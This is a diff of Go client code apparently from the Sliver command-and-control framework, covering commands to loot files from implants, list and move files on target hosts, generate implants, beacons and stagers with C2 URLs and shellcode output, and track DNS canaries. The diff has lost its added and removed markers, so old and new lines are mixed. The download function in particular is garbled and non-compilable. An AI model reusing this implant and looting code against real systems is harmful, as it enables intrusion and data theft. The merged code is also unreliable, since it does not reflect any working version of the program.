download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
if saveLoot {
lootName := ctx.Flags.String("name")
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, fileType, ctx, con)
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
+62 -22
View File
@@ -22,6 +22,7 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
@@ -44,6 +45,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
@@ -60,38 +100,23 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, con)
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, con)
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -145,14 +170,29 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
-84
View File
@@ -1,84 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
-4
View File
@@ -64,10 +64,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+43 -31
View File
@@ -1,15 +1,16 @@
package generate
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CanariesCmd - Display canaries from the database and their status
@@ -20,45 +21,56 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if 0 < len(canaries.Canaries) {
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
con.PrintInfof("No canaries in database\n")
}
}
// PrintCanaries - Print the canaries tracked by the server
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Sliver Name",
"Domain",
"Triggered",
"First Trigger",
"Latest Trigger",
})
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
lineColor := console.Normal
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
if canary.Triggered {
lineColor = console.Bold + console.Red
lineColors = append(lineColors, console.Bold+console.Red)
} else {
lineColors = append(lineColors, console.Normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
}
firstTrigger := "Never"
latestTrigger := "Never"
if canary.Triggered {
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
}
row := table.Row{
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
firstTrigger,
latestTrigger,
}
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
+2 -16
View File
@@ -31,28 +31,14 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
} else {
externalBuild(config, save, con)
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+12 -24
View File
@@ -1,28 +1,12 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -69,12 +53,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badChars := ctx.Flags.String("badchars")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badChars) > 0 {
for _, b := range strings.Split(badChars, " ") {
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
@@ -111,12 +95,16 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
+23 -294
View File
@@ -22,12 +22,14 @@ import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"os/signal"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -35,11 +37,8 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -83,9 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
ErrNoExternalBuilder = errors.New("no external builders are available")
ErrNoValidBuilders = errors.New("no valid external builders for target")
)
// GenerateCmd - The main command used to generate implant binaries
@@ -98,24 +94,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
} else {
_, err := externalBuild(config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
con.PrintErrorf("See 'builders' command for more information\n")
} else if err == ErrNoValidBuilders {
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
con.PrintErrorf("See 'builders' command for more information\n")
} else {
con.PrintErrorf("%s\n", err)
}
return
}
}
compile(config, save, con)
}
func expandPath(path string) string {
@@ -139,7 +118,7 @@ func saveLocation(save, DefaultName string) (string, error) {
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
@@ -153,7 +132,7 @@ func saveLocation(save, DefaultName string) (string, error) {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -178,20 +157,22 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
return "Shared Library"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
default:
return "Unknown"
}
panic(fmt.Sprintf("Unknown format %v", value))
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags.String("name") != "" {
if ctx.Flags["name"] != nil {
name = strings.ToLower(ctx.Flags.String("name"))
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
}
}
@@ -271,14 +252,12 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -286,7 +265,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -304,10 +282,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -329,13 +303,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -345,13 +312,11 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
TemplateName: ctx.Flags.String("template"),
WGPeerTunIP: tunIP.String(),
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -361,14 +326,11 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -432,9 +394,6 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -456,20 +415,17 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "wg://") {
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -502,10 +458,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -535,9 +487,6 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -554,37 +503,19 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -604,25 +535,16 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -631,130 +553,6 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
}
var externalBuilder *clientpb.Builder
if len(potentialBuilders) == 1 {
externalBuilder = potentialBuilders[0]
} else {
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
if err != nil {
return nil, err
}
}
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
}
start := time.Now()
listenerID, listener := con.CreateEventListener()
waiting := true
spinner := spin.New()
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
signal.Notify(sigint, os.Interrupt)
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Config: config,
BuilderName: externalBuilder.Name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
case <-time.After(100 * time.Millisecond):
elapsed := time.Since(start)
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
case event := <-listener:
switch event.EventType {
case consts.ExternalBuildFailedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
case consts.ExternalBuildCompletedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
}
}
case <-sigint:
waiting = false
con.Printf("\n")
return nil, fmt.Errorf("user interrupt")
}
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: name,
})
if err != nil {
return nil, err
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
}
con.PrintInfof("Implant saved to %s\n", saveTo)
return nil, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
@@ -782,41 +580,20 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, err
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
con.PrintErrorf("Build failed, no file data\n")
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, fileData, 0700)
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -842,9 +619,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
@@ -906,48 +680,3 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
survey.AskOne(prompt, &confirm, nil)
return confirm
}
